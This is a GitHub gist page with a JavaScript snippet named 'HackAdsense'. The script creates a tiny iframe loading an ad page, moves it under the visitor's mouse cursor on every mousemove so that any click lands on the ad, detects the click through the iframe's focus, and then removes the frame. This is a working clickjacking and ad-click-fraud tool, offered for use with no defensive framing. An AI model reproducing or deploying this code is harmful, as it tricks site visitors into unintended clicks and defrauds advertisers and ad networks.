in progress
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function HackAdsense(option) | |
{ | |
this.interval = 0; | |
this.bodyClicked = false; | |
this.iframeWrapper = null; | |
this.iframeId = 'frm' + Math.round(Math.random()*999999999); | |
this.option = option; | |
this.run = function(){ | |
var self = this; | |
self.iframeWrapper = createIframe(self); | |
runMouseMove(self); | |
updateActiveElement(self); | |
self.interval = setInterval(function(){ updateActiveElement(self)}, 50); | |
} | |
function createIframe(self){ | |
var lbox = document.createElement('iframe'); | |
lbox.src = self.option.urlIframe; | |
lbox.id = self.iframeId; | |
lbox.scrolling = 'no'; | |
lbox.frameBorder = 0; | |
lbox.allowTransparency = 'true'; | |
lbox.style.border = 0; | |
lbox.style.overflow = 'hidden'; | |
lbox.style.width = '53px'; | |
lbox.style.height = '23px'; | |
lbox.style.position = 'absolute'; | |
// lbox.style.opacity = 0; | |
document.getElementsByTagName('body')[0].appendChild(lbox); | |
return lbox; | |
} | |
function updateActiveElement(self){ | |
if(document.activeElement.id == self.iframeId) { | |
clearInterval(self.interval); | |
self.bodyClicked = true; | |
removeIframe(self) | |
} | |
} | |
function removeIframe(self){ | |
setTimeout(function(){ | |
document.getElementsByTagName('body')[0].removeChild(self.iframeWrapper) | |
},500); | |
} | |
function runMouseMove(self){ | |
window.addEventListener('mousemove', function(e){ | |
var Xcord = e.pageX; | |
var Ycord = e.pageY; | |
if (Xcord < 0) Xcord = 0; | |
if (Ycord < 0) Ycord = 0; | |
self.iframeWrapper.style.top = (Ycord - 8) + 'px'; | |
self.iframeWrapper.style.left = (Xcord - 25) + 'px'; | |
return true | |
}, false); | |
} | |
} | |
var hack = new HackAdsense({urlIframe:"adsense.html"}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment